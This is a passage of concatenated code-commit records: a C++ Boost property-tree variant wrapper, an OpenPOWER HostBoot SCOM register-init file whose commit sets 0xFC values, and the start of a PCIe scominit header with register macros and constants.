\"'\";\n throw bad_path(s.str(), path);\n }\n }\n\n template <class T>\n T get(const path_type& path, const T& default_value) const {\n try {\n return base::get(path, default_value, detail::variant_translator<T>());\n } catch (boost::bad_get& e) {\n throw bad_path(\"Wrong or missing value type\", path);\n }\n }\n\n std::string get(const path_type& path, const char* default_value) const {\n return base::get(path, std::string(default_value),\n detail::variant_translator<std::string>());\n }\n\n template <class T>\n boost::optional<T> get_optional(const path_type& path) const {\n return base::get_optional(path, detail::variant_translator<T>());\n }\n\n template <class T>\n void put(const path_type& path, const T& value) {\n base::put(path, value, detail::variant_translator<T>());\n }\n\n template <class T>\n self_type& add(const path_type& path, const T& value) {\n return static_cast<self_type&>(\n base::add(path, value, detail::variant_translator<T>()));\n }\n\n void swap(variant_tree& rhs) {\n base::swap(rhs);\n }\n void swap(boost::property_tree::basic_ptree<\n std::string, variant, std::less<std::string> >& rhs) {\n base::swap(rhs);\n }\n\n self_type &get_child(const path_type &path) {\n return static_cast<self_type&>(base::get_child(path));\n }\n\n \/** Get the child at the given path, or throw @c ptree_bad_path. *\/\n const self_type &get_child(const path_type &path) const {\n return static_cast<const self_type&>(base::get_child(path));\n }\n\n \/** Get the child at the given path, or return @p default_value. *\/\n self_type &get_child(const path_type &path, self_type &default_value) {\n return static_cast<self_type&>(base::get_child(path, default_value));\n }\n\n \/** Get the child at the given path, or return @p default_value. *\/\n const self_type &get_child(const path_type &path,\n const self_type &default_value) const {\n return static_cast<const self_type&>(base::get_child(path, default_value));\n }\n\n \/** Get the child at the given path, or return boost::null. *\/\n boost::optional<self_type &> get_child_optional(const path_type &path) {\n boost::optional<base&> o = base::get_child_optional(path);\n if (!o)\n return boost::optional<self_type&>();\n return boost::optional<self_type&>(static_cast<self_type&>(*o));\n }\n\n \/** Get the child at the given path, or return boost::null. *\/\n boost::optional<const self_type &>\n get_child_optional(const path_type &path) const {\n boost::optional<const base&> o = base::get_child_optional(path);\n if (!o)\n return boost::optional<const self_type&>();\n return boost::optional<const self_type&>(static_cast<const self_type&>(*o));\n }\n\n self_type &put_child(const path_type &path, const self_type &value) {\n return static_cast<self_type&>(base::put_child(path, value));\n }\n};\n\n} \/\/ namespace util\n\n#endif \/\/ _UTIL_VARIANT_TREE_HPP_\n<commit_msg>Fixed casting problem<commit_after>\/\/----------------------------------------------------------------------------\n\/\/\/ \\file variant_tree.hpp\n\/\/----------------------------------------------------------------------------\n\/\/\/ \\brief This file contains a tree class that can hold variant values.\n\/\/----------------------------------------------------------------------------\n\/\/ Author: Serge Aleynikov\n\/\/ Created: 2010-07-10\n\/\/----------------------------------------------------------------------------\n\/*\n***** BEGIN LICENSE BLOCK *****\n\nThis file may be included in various open-source projects.\n\nCopyright (C) 2010 Serge Aleynikov <saleyn@gmail.com>\n\nThis library is free software; you can redistribute it and\/or\nmodify it under the terms of the GNU Lesser General Public\nLicense as published by the Free Software Foundation; either\nversion 2.1 of the License, or (at your option) any later version.\n\nThis library is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\nLesser General Public License for more details.\n\nYou should have received a copy of the GNU Lesser General Public\nLicense along with this library; if not, write to the Free Software\nFoundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n\n***** END LICENSE BLOCK *****\n*\/\n\n#ifndef _UTIL_VARIANT_TREE_HPP_\n#define _UTIL_VARIANT_TREE_HPP_\n\n#include <util\/variant.hpp>\n#include <util\/typeinfo.hpp>\n#include <boost\/property_tree\/ptree.hpp>\n#include <boost\/property_tree\/info_parser.hpp>\n#include <boost\/lexical_cast.hpp>\n#include <boost\/utility\/enable_if.hpp>\n#include <boost\/throw_exception.hpp>\n\nnamespace boost {\nnamespace property_tree {\n \/\/ Custom translator that works with util::variant instead of std::string.\n \/\/ This translator is used to read\/write values from files.\n template <>\n struct translator_between<util::variant, std::string>\n {\n typedef translator_between<util::variant, std::string> type;\n typedef std::string external_type;\n typedef util::variant internal_type;\n\n boost::optional<external_type> get_value(const internal_type& value) const {\n return boost::optional<external_type>(\n value.type() == internal_type::TYPE_NULL ? \"\" : value.to_string());\n }\n\n boost::optional<internal_type> put_value(const external_type& value) const {\n try {\n long n = lexical_cast<long>(value);\n for(external_type::const_iterator it=value.begin(), end=value.end(); it!=end; ++it)\n if (*it < '0' || *it > '9')\n throw false;\n return boost::optional<internal_type>(n);\n } catch (...) {}\n try {\n double n = lexical_cast<double>(value);\n return boost::optional<internal_type>(n);\n } catch (...) {}\n if (value == \"true\" || value == \"false\")\n return boost::optional<internal_type>(value[0] == 't');\n return boost::optional<internal_type>(value);\n }\n };\n\n} \/\/ namespace property_tree\n} \/\/ namespace boost\n\nnamespace util {\n\nnamespace detail {\n\n \/\/ Custom translator that works with variant instead of std::string\n \/\/ This translator is used to get\/put values through explicit get\/put calls.\n template <class Ext>\n struct variant_translator\n {\n typedef Ext external_type;\n typedef variant internal_type;\n\n \/*\n typedef boost::mpl::joint_view<variant::int_types,\n boost::mpl::vector<bool,double>\n > valid_non_string_types;\n *\/\n typedef variant::valid_types valid_types;\n\n external_type get_value(const internal_type& value) const {\n return value.get<external_type>();\n }\n\n template<typename T>\n typename boost::disable_if<\n boost::is_same<\n boost::mpl::end<valid_types>::type,\n boost::mpl::find<variant::valid_types, T>\n >, \n internal_type>::type\n put_value(T value) const {\n return variant(value);\n }\n };\n\n typedef boost::property_tree::basic_ptree<\n std::string, \/\/ Key type\n variant, \/\/ Data type\n std::less<std::string> \/\/ Key comparison\n > basic_variant_tree;\n\n} \/\/ namespace detail\n\nclass variant_tree : public detail::basic_variant_tree\n{\n typedef detail::basic_variant_tree base;\n typedef variant_tree self_type;\npublic:\n typedef boost::property_tree::ptree_bad_path bad_path;\n typedef std::pair<std::string, variant_tree> value_type;\n\n variant_tree() {}\n variant_tree(const detail::basic_variant_tree& a_rhs)\n : detail::basic_variant_tree(a_rhs)\n {}\n\n template <typename Source>\n static void read_info(Source& src, variant_tree& tree) {\n boost::property_tree::info_parser::read_info(src, tree);\n }\n\n template <typename Target>\n static void write_info(Target& tar, variant_tree& tree) {\n boost::property_tree::info_parser::write_info(tar, tree);\n }\n\n template <typename Target, typename Settings>\n static void write_info(Target& tar, variant_tree& tree, const Settings& tt) {\n boost::property_tree::info_parser::write_info(tar, tree, tt);\n }\n\n template <class T>\n T get_value() const {\n using boost::throw_exception;\n\n if(boost::optional<T> o =\n base::get_value_optional<T>(detail::variant_translator<T>())) {\n return *o;\n }\n BOOST_PROPERTY_TREE_THROW(boost::property_tree::ptree_bad_data(\n std::string(\"conversion of data to type \\\"\") +\n typeid(T).name() + \"\\\" failed\", base::data()));\n }\n\n template <class T>\n T get_value(const T& default_value) const {\n return base::get_value(default_value, detail::variant_translator<T>());\n }\n\n std::string get_value(const char* default_value) const {\n return base::get_value(std::string(default_value),\n detail::variant_translator<std::string>());\n }\n\n template <class T>\n boost::optional<T> get_value_optional() const {\n return base::get_value(detail::variant_translator<T>());\n }\n\n template <class T>\n void put_value(const T& value) {\n base::put_value(value, detail::variant_translator<T>());\n }\n\n template <class T>\n T get(const path_type& path) const {\n try {\n return base::get_child(path).BOOST_NESTED_TEMPLATE\n get_value<T>(detail::variant_translator<T>());\n } catch (boost::bad_get& e) {\n std::stringstream s;\n s << \"Cannot convert value to type '\" << type_to_string<T>() << \"'\";\n throw bad_path(s.str(), path);\n }\n }\n\n template <class T>\n T get(const path_type& path, const T& default_value) const {\n try {\n return base::get(path, default_value, detail::variant_translator<T>());\n } catch (boost::bad_get& e) {\n throw bad_path(\"Wrong or missing value type\", path);\n }\n }\n\n std::string get(const path_type& path, const char* default_value) const {\n return base::get(path, std::string(default_value),\n detail::variant_translator<std::string>());\n }\n\n template <class T>\n boost::optional<T> get_optional(const path_type& path) const {\n return base::get_optional(path, detail::variant_translator<T>());\n }\n\n template <class T>\n void put(const path_type& path, const T& value) {\n base::put(path, value, detail::variant_translator<T>());\n }\n\n template <class T>\n self_type& add(const path_type& path, const T& value) {\n return static_cast<self_type&>(\n base::add(path, value, detail::variant_translator<T>()));\n }\n\n void swap(variant_tree& rhs) {\n base::swap(rhs);\n }\n void swap(boost::property_tree::basic_ptree<\n std::string, variant, std::less<std::string> >& rhs) {\n base::swap(rhs);\n }\n\n self_type &get_child(const path_type &path) {\n return static_cast<self_type&>(base::get_child(path));\n }\n\n \/** Get the child at the given path, or throw @c ptree_bad_path. *\/\n const self_type &get_child(const path_type &path) const {\n return static_cast<const self_type&>(base::get_child(path));\n }\n\n \/** Get the child at the given path, or return @p default_value. *\/\n self_type &get_child(const path_type &path, self_type &default_value) {\n return static_cast<self_type&>(base::get_child(path, default_value));\n }\n\n \/** Get the child at the given path, or return @p default_value. *\/\n const self_type &get_child(const path_type &path,\n const self_type &default_value) const {\n return static_cast<const self_type&>(base::get_child(path, default_value));\n }\n\n \/** Get the child at the given path, or return boost::null. *\/\n boost::optional<self_type &> get_child_optional(const path_type &path) {\n boost::optional<base&> o = base::get_child_optional(path);\n if (!o)\n return boost::optional<self_type&>();\n return boost::optional<self_type&>(static_cast<self_type&>(*o));\n }\n\n \/** Get the child at the given path, or return boost::null. *\/\n boost::optional<const self_type &>\n get_child_optional(const path_type &path) const {\n boost::optional<const base&> o = base::get_child_optional(path);\n if (!o)\n return boost::optional<const self_type&>();\n return boost::optional<const self_type&>(static_cast<const self_type&>(*o));\n }\n\n self_type &put_child(const path_type &path, const self_type &value) {\n return static_cast<self_type&>(base::put_child(path, value));\n }\n};\n\n} \/\/ namespace util\n\n#endif \/\/ _UTIL_VARIANT_TREE_HPP_\n<|endoftext|>"} {"text":"<commit_before>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/initfiles\/p9_vas_scom.C $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2016,2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n#include \"p9_vas_scom.H\"\n#include <stdint.h>\n#include <stddef.h>\n#include <fapi2.H>\n\nusing namespace fapi2;\n\nconstexpr uint64_t literal_0x00200102000D7FFF = 0x00200102000D7FFF;\nconstexpr uint64_t literal_0x0000000000000000 = 0x0000000000000000;\nconstexpr uint64_t literal_0x00DF0201C0000000 = 0x00DF0201C0000000;\nconstexpr uint64_t literal_0x0080000000000000 = 0x0080000000000000;\nconstexpr uint64_t literal_0x1 = 0x1;\n\nfapi2::ReturnCode p9_vas_scom(const fapi2::Target<fapi2::TARGET_TYPE_PROC_CHIP>& TGT0,\n const fapi2::Target<fapi2::TARGET_TYPE_SYSTEM>& TGT1)\n{\n {\n fapi2::ATTR_EC_Type l_chip_ec;\n fapi2::ATTR_NAME_Type l_chip_id;\n FAPI_TRY(FAPI_ATTR_GET_PRIVILEGED(fapi2::ATTR_NAME, TGT0, l_chip_id));\n FAPI_TRY(FAPI_ATTR_GET_PRIVILEGED(fapi2::ATTR_EC, TGT0, l_chip_ec));\n fapi2::ATTR_PROC_FABRIC_PUMP_MODE_Type l_TGT1_ATTR_PROC_FABRIC_PUMP_MODE;\n FAPI_TRY(FAPI_ATTR_GET(fapi2::ATTR_PROC_FABRIC_PUMP_MODE, TGT1, l_TGT1_ATTR_PROC_FABRIC_PUMP_MODE));\n fapi2::buffer<uint64_t> l_scom_buffer;\n {\n FAPI_TRY(fapi2::getScom( TGT0, 0x3011803ull, l_scom_buffer ));\n\n l_scom_buffer.insert<0, 54, 0, uint64_t>(literal_0x00200102000D7FFF );\n FAPI_TRY(fapi2::putScom(TGT0, 0x3011803ull, l_scom_buffer));\n }\n {\n FAPI_TRY(fapi2::getScom( TGT0, 0x3011806ull, l_scom_buffer ));\n\n l_scom_buffer.insert<0, 54, 0, uint64_t>(literal_0x0000000000000000 );\n FAPI_TRY(fapi2::putScom(TGT0, 0x3011806ull, l_scom_buffer));\n }\n {\n FAPI_TRY(fapi2::getScom( TGT0, 0x3011807ull, l_scom_buffer ));\n\n l_scom_buffer.insert<0, 54, 0, uint64_t>(literal_0x00DF0201C0000000 );\n FAPI_TRY(fapi2::putScom(TGT0, 0x3011807ull, l_scom_buffer));\n }\n {\n if (((l_chip_id == 0x5) && (l_chip_ec == 0x10)) )\n {\n FAPI_TRY(fapi2::getScom( TGT0, 0x301180aull, l_scom_buffer ));\n\n l_scom_buffer.insert<8, 31, 8, uint64_t>(literal_0x0080000000000000 );\n FAPI_TRY(fapi2::putScom(TGT0, 0x301180aull, l_scom_buffer));\n }\n }\n {\n if (((l_chip_id == 0x5) && (l_chip_ec == 0x10)) )\n {\n FAPI_TRY(fapi2::getScom( TGT0, 0x301180bull, l_scom_buffer ));\n\n l_scom_buffer.insert<8, 28, 8, uint64_t>(literal_0x0080000000000000 );\n FAPI_TRY(fapi2::putScom(TGT0, 0x301180bull, l_scom_buffer));\n }\n }\n {\n if (((l_chip_id == 0x5) && (l_chip_ec == 0x10)) )\n {\n FAPI_TRY(fapi2::getScom( TGT0, 0x301180eull, l_scom_buffer ));\n\n l_scom_buffer.insert<8, 44, 8, uint64_t>(literal_0x0080000000000000 );\n FAPI_TRY(fapi2::putScom(TGT0, 0x301180eull, l_scom_buffer));\n }\n }\n {\n if (((l_chip_id == 0x5) && (l_chip_ec == 0x10)) )\n {\n FAPI_TRY(fapi2::getScom( TGT0, 0x301180full, l_scom_buffer ));\n\n l_scom_buffer.insert<8, 44, 8, uint64_t>(literal_0x0080000000000000 );\n FAPI_TRY(fapi2::putScom(TGT0, 0x301180full, l_scom_buffer));\n }\n }\n {\n if (((l_chip_id == 0x5) && (l_chip_ec == 0x10)) )\n {\n FAPI_TRY(fapi2::getScom( TGT0, 0x301184dull, l_scom_buffer ));\n\n l_scom_buffer.insert<19, 1, 63, uint64_t>(literal_0x1 );\n FAPI_TRY(fapi2::putScom(TGT0, 0x301184dull, l_scom_buffer));\n }\n }\n {\n FAPI_TRY(fapi2::getScom( TGT0, 0x301184eull, l_scom_buffer ));\n\n constexpr auto l_VA_VA_SOUTH_VA_EG_EG_SCF_ADDR_BAR_MODE_OFF = 0x0;\n l_scom_buffer.insert<13, 1, 63, uint64_t>(l_VA_VA_SOUTH_VA_EG_EG_SCF_ADDR_BAR_MODE_OFF );\n\n if ((l_TGT1_ATTR_PROC_FABRIC_PUMP_MODE == fapi2::ENUM_ATTR_PROC_FABRIC_PUMP_MODE_CHIP_IS_GROUP))\n {\n constexpr auto l_VA_VA_SOUTH_VA_EG_EG_SCF_SKIP_G_ON = 0x1;\n l_scom_buffer.insert<14, 1, 63, uint64_t>(l_VA_VA_SOUTH_VA_EG_EG_SCF_SKIP_G_ON );\n }\n else if ((l_TGT1_ATTR_PROC_FABRIC_PUMP_MODE == fapi2::ENUM_ATTR_PROC_FABRIC_PUMP_MODE_CHIP_IS_NODE))\n {\n constexpr auto l_VA_VA_SOUTH_VA_EG_EG_SCF_SKIP_G_OFF = 0x0;\n l_scom_buffer.insert<14, 1, 63, uint64_t>(l_VA_VA_SOUTH_VA_EG_EG_SCF_SKIP_G_OFF );\n }\n\n FAPI_TRY(fapi2::putScom(TGT0, 0x301184eull, l_scom_buffer));\n }\n {\n FAPI_TRY(fapi2::getScom( TGT0, 0x301184full, l_scom_buffer ));\n\n l_scom_buffer.insert<0, 1, 63, uint64_t>(literal_0x1 );\n FAPI_TRY(fapi2::putScom(TGT0, 0x301184full, l_scom_buffer));\n }\n\n };\nfapi_try_exit:\n return fapi2::current_err;\n}\n<commit_msg>Logic flushed to 0s, xFC provides better performance and is intended value<commit_after>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/initfiles\/p9_vas_scom.C $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2016,2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n#include \"p9_vas_scom.H\"\n#include <stdint.h>\n#include <stddef.h>\n#include <fapi2.H>\n\nusing namespace fapi2;\n\nconstexpr uint64_t literal_0x00200102000D7FFF = 0x00200102000D7FFF;\nconstexpr uint64_t literal_0x0000000000000000 = 0x0000000000000000;\nconstexpr uint64_t literal_0x00DF0201C0000000 = 0x00DF0201C0000000;\nconstexpr uint64_t literal_0x0080000000000000 = 0x0080000000000000;\nconstexpr uint64_t literal_0x1 = 0x1;\nconstexpr uint64_t literal_0xFC = 0xFC;\n\nfapi2::ReturnCode p9_vas_scom(const fapi2::Target<fapi2::TARGET_TYPE_PROC_CHIP>& TGT0,\n const fapi2::Target<fapi2::TARGET_TYPE_SYSTEM>& TGT1)\n{\n {\n fapi2::ATTR_EC_Type l_chip_ec;\n fapi2::ATTR_NAME_Type l_chip_id;\n FAPI_TRY(FAPI_ATTR_GET_PRIVILEGED(fapi2::ATTR_NAME, TGT0, l_chip_id));\n FAPI_TRY(FAPI_ATTR_GET_PRIVILEGED(fapi2::ATTR_EC, TGT0, l_chip_ec));\n fapi2::ATTR_PROC_FABRIC_PUMP_MODE_Type l_TGT1_ATTR_PROC_FABRIC_PUMP_MODE;\n FAPI_TRY(FAPI_ATTR_GET(fapi2::ATTR_PROC_FABRIC_PUMP_MODE, TGT1, l_TGT1_ATTR_PROC_FABRIC_PUMP_MODE));\n fapi2::buffer<uint64_t> l_scom_buffer;\n {\n FAPI_TRY(fapi2::getScom( TGT0, 0x3011803ull, l_scom_buffer ));\n\n l_scom_buffer.insert<0, 54, 0, uint64_t>(literal_0x00200102000D7FFF );\n FAPI_TRY(fapi2::putScom(TGT0, 0x3011803ull, l_scom_buffer));\n }\n {\n FAPI_TRY(fapi2::getScom( TGT0, 0x3011806ull, l_scom_buffer ));\n\n l_scom_buffer.insert<0, 54, 0, uint64_t>(literal_0x0000000000000000 );\n FAPI_TRY(fapi2::putScom(TGT0, 0x3011806ull, l_scom_buffer));\n }\n {\n FAPI_TRY(fapi2::getScom( TGT0, 0x3011807ull, l_scom_buffer ));\n\n l_scom_buffer.insert<0, 54, 0, uint64_t>(literal_0x00DF0201C0000000 );\n FAPI_TRY(fapi2::putScom(TGT0, 0x3011807ull, l_scom_buffer));\n }\n {\n if (((l_chip_id == 0x5) && (l_chip_ec == 0x10)) )\n {\n FAPI_TRY(fapi2::getScom( TGT0, 0x301180aull, l_scom_buffer ));\n\n l_scom_buffer.insert<8, 31, 8, uint64_t>(literal_0x0080000000000000 );\n FAPI_TRY(fapi2::putScom(TGT0, 0x301180aull, l_scom_buffer));\n }\n }\n {\n if (((l_chip_id == 0x5) && (l_chip_ec == 0x10)) )\n {\n FAPI_TRY(fapi2::getScom( TGT0, 0x301180bull, l_scom_buffer ));\n\n l_scom_buffer.insert<8, 28, 8, uint64_t>(literal_0x0080000000000000 );\n FAPI_TRY(fapi2::putScom(TGT0, 0x301180bull, l_scom_buffer));\n }\n }\n {\n if (((l_chip_id == 0x5) && (l_chip_ec == 0x10)) )\n {\n FAPI_TRY(fapi2::getScom( TGT0, 0x301180eull, l_scom_buffer ));\n\n l_scom_buffer.insert<8, 44, 8, uint64_t>(literal_0x0080000000000000 );\n FAPI_TRY(fapi2::putScom(TGT0, 0x301180eull, l_scom_buffer));\n }\n }\n {\n if (((l_chip_id == 0x5) && (l_chip_ec == 0x10)) )\n {\n FAPI_TRY(fapi2::getScom( TGT0, 0x301180full, l_scom_buffer ));\n\n l_scom_buffer.insert<8, 44, 8, uint64_t>(literal_0x0080000000000000 );\n FAPI_TRY(fapi2::putScom(TGT0, 0x301180full, l_scom_buffer));\n }\n }\n {\n if (((l_chip_id == 0x5) && (l_chip_ec == 0x10)) )\n {\n FAPI_TRY(fapi2::getScom( TGT0, 0x301184dull, l_scom_buffer ));\n\n l_scom_buffer.insert<19, 1, 63, uint64_t>(literal_0x1 );\n FAPI_TRY(fapi2::putScom(TGT0, 0x301184dull, l_scom_buffer));\n }\n }\n {\n FAPI_TRY(fapi2::getScom( TGT0, 0x301184eull, l_scom_buffer ));\n\n constexpr auto l_VA_VA_SOUTH_VA_EG_EG_SCF_ADDR_BAR_MODE_OFF = 0x0;\n l_scom_buffer.insert<13, 1, 63, uint64_t>(l_VA_VA_SOUTH_VA_EG_EG_SCF_ADDR_BAR_MODE_OFF );\n\n if ((l_TGT1_ATTR_PROC_FABRIC_PUMP_MODE == fapi2::ENUM_ATTR_PROC_FABRIC_PUMP_MODE_CHIP_IS_GROUP))\n {\n constexpr auto l_VA_VA_SOUTH_VA_EG_EG_SCF_SKIP_G_ON = 0x1;\n l_scom_buffer.insert<14, 1, 63, uint64_t>(l_VA_VA_SOUTH_VA_EG_EG_SCF_SKIP_G_ON );\n }\n else if ((l_TGT1_ATTR_PROC_FABRIC_PUMP_MODE == fapi2::ENUM_ATTR_PROC_FABRIC_PUMP_MODE_CHIP_IS_NODE))\n {\n constexpr auto l_VA_VA_SOUTH_VA_EG_EG_SCF_SKIP_G_OFF = 0x0;\n l_scom_buffer.insert<14, 1, 63, uint64_t>(l_VA_VA_SOUTH_VA_EG_EG_SCF_SKIP_G_OFF );\n }\n\n l_scom_buffer.insert<20, 8, 56, uint64_t>(literal_0xFC );\n l_scom_buffer.insert<28, 8, 56, uint64_t>(literal_0xFC );\n FAPI_TRY(fapi2::putScom(TGT0, 0x301184eull, l_scom_buffer));\n }\n {\n FAPI_TRY(fapi2::getScom( TGT0, 0x301184full, l_scom_buffer ));\n\n l_scom_buffer.insert<0, 1, 63, uint64_t>(literal_0x1 );\n FAPI_TRY(fapi2::putScom(TGT0, 0x301184full, l_scom_buffer));\n }\n\n };\nfapi_try_exit:\n return fapi2::current_err;\n}\n<|endoftext|>"} {"text":"<commit_before>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/nest\/p9_pcie_scominit.H $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2015,2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\/\/-----------------------------------------------------------------------------------\n\/\/\/\n\/\/\/ @file p9_pcie_scominit.H\n\/\/\/ @brief Perform PCIE Phase1 init sequence (FAPI2)\n\/\/\/\n\/\/ *HWP HWP Owner: Christina Graves clgraves@us.ibm.com\n\/\/ *HWP FW Owner: Thi Tran thi@us.ibm.com\n\/\/ *HWP Team: Nest\n\/\/ *HWP Level: 1\n\/\/ *HWP Consumed by: HB\n\n#ifndef _P9_PCIE_SCOMINIT_H_\n#define _P9_PCIE_SCOMINIT_H_\n\n\/\/-----------------------------------------------------------------------------------\n\/\/ Includes\n\/\/-----------------------------------------------------------------------------------\n#include <fapi2.H>\n\n\/\/-----------------------------------------------------------------------------------\n\/\/ Helper Macros\n\/\/-----------------------------------------------------------------------------------\n#define SET_REG_RMW_WITH_SINGLE_ATTR_8(in_attr_name, in_reg_name, in_start_bit, in_bit_count)\\\n FAPI_TRY(FAPI_ATTR_GET(in_attr_name, l_pec_chiplets, l_attr_8)); \\\n FAPI_TRY(fapi2::getScom(l_pec_chiplets, in_reg_name, l_buf)); \\\n FAPI_TRY(l_buf.insertFromRight(l_attr_8, in_start_bit, in_bit_count)); \\\n FAPI_DBG(\"pec%i: %#lx\", l_pec_id, l_buf()); \\\n FAPI_TRY(fapi2::putScom(l_pec_chiplets, in_reg_name, l_buf));\n\n#define SET_REG_RMW_WITH_SINGLE_ATTR_16(in_attr_name, in_reg_name, in_start_bit, in_bit_count)\\\n FAPI_TRY(FAPI_ATTR_GET(in_attr_name, l_pec_chiplets, l_attr_16)); \\\n FAPI_TRY(fapi2::getScom(l_pec_chiplets, in_reg_name, l_buf)); \\\n FAPI_TRY(l_buf.insertFromRight(l_attr_16, in_start_bit, in_bit_count)); \\\n FAPI_DBG(\"pec%i: %#lx\", l_pec_id, l_buf()); \\\n FAPI_TRY(fapi2::putScom(l_pec_chiplets, in_reg_name, l_buf));\n\n#define SET_REG_WR_WITH_SINGLE_ATTR_16(in_attr_name, in_reg_name, in_start_bit, in_bit_count)\\\n l_buf = 0; \\\n FAPI_TRY(FAPI_ATTR_GET(in_attr_name, l_pec_chiplets, l_attr_16)); \\\n FAPI_TRY(l_buf.insertFromRight(l_attr_16, in_start_bit, in_bit_count)); \\\n FAPI_DBG(\"pec%i: %#lx\", l_pec_id, l_buf()); \\\n FAPI_TRY(fapi2::putScom(l_pec_chiplets, in_reg_name, l_buf));\n\n#define SET_REG_RMW(in_value, in_reg_name, in_start_bit, in_bit_count)\\\n FAPI_TRY(fapi2::getScom(l_pec_chiplets, in_reg_name, l_buf)); \\\n FAPI_TRY(l_buf.insertFromRight(in_value, in_start_bit, in_bit_count)); \\\n FAPI_DBG(\"pec%i: %#lx\", l_pec_id, l_buf()); \\\n FAPI_TRY(fapi2::putScom(l_pec_chiplets, in_reg_name, l_buf));\n\n#define SET_REG_WR(in_value, in_reg_name, in_start_bit, in_bit_count)\\\n FAPI_TRY(l_buf.insertFromRight(in_value, in_start_bit, in_bit_count)); \\\n FAPI_DBG(\"pec%i: %#lx\", l_pec_id, l_buf()); \\\n FAPI_TRY(fapi2::putScom(l_pec_chiplets, in_reg_name, l_buf));\n\n\/\/-----------------------------------------------------------------------------------\n\/\/ Structure definitions\n\/\/-----------------------------------------------------------------------------------\n\n\/\/function pointer typedef definition for HWP call support\ntypedef fapi2::ReturnCode (*p9_pcie_scominit_FP_t) (const fapi2::Target<fapi2::TARGET_TYPE_PROC_CHIP>&);\n\n\/\/-----------------------------------------------------------------------------------\n\/\/ Constant definitions\n\/\/-----------------------------------------------------------------------------------\n\nconst uint8_t NUM_PCS_CONFIG = 4;\nconst uint8_t NUM_PCIE_LANES = 16;\nconst uint8_t NUM_M_CONFIG = 4;\nconst uint8_t PEC0_IOP_CONFIG_START_BIT = 13;\nconst uint8_t PEC1_IOP_CONFIG_START_BIT = 14;\nconst uint8_t PEC2_IOP_CONFIG_START_BIT = 10;\nconst uint8_t PEC0_IOP_BIT_COUNT = 1;\nconst uint8_t PEC1_IOP_BIT_COUNT = 2;\nconst uint8_t PEC2_IOP_BIT_COUNT = 3;\nconst uint8_t PEC0_IOP_SWAP_START_BIT = 11;\nconst uint8_t PEC1_IOP_SWAP_START_BIT = 12;\nconst uint8_t PEC2_IOP_SWAP_START_BIT = 7;\nconst uint8_t PEC0_IOP_IOVALID_ENABLE_START_BIT = 4;\nconst uint8_t PEC1_IOP_IOVALID_ENABLE_START_BIT = 4;\nconst uint8_t PEC2_IOP_IOVALID_ENABLE_START_BIT = 4;\nconst uint8_t PEC_IOP_REFCLOCK_ENABLE_START_BIT = 32;\nconst uint8_t PEC_IOP_PMA_RESET_START_BIT = 29;\nconst uint8_t PEC_IOP_PIPE_RESET_START_BIT = 28;\nconst uint8_t PEC_IOP_HSS_PORT_READY_START_BIT = 58;\n\nconst uint64_t PEC_IOP_PLLA_VCO_COURSE_CAL_REGISTER1 = 0x800005010D010C3F;\nconst uint64_t PEC_IOP_PLLB_VCO_COURSE_CAL_REGISTER1 = 0x800005410D010C3F;\nconst uint64_t PEC_IOP_RX_DFE_FUNC_REGISTER1 = 0x8000049F0D010C3F;\nconst uint64_t PEC_IOP_RX_DFE_FUNC_REGISTER2 = 0x800004A00D010C3F;\n\nconst uint64_t RX_VGA_CTRL3_REGISTER[NUM_PCIE_LANES] =\n{\n 0x8000008D0D010C3F,\n 0x800000CD0D010C3F,\n 0x8000018D0D010C3F,\n 0x800001CD0D010C3F,\n 0x8000028D0D010C3F,\n 0x800002CD0D010C3F,\n 0x8000038D0D010C3F,\n 0x800003CD0D010C3F,\n 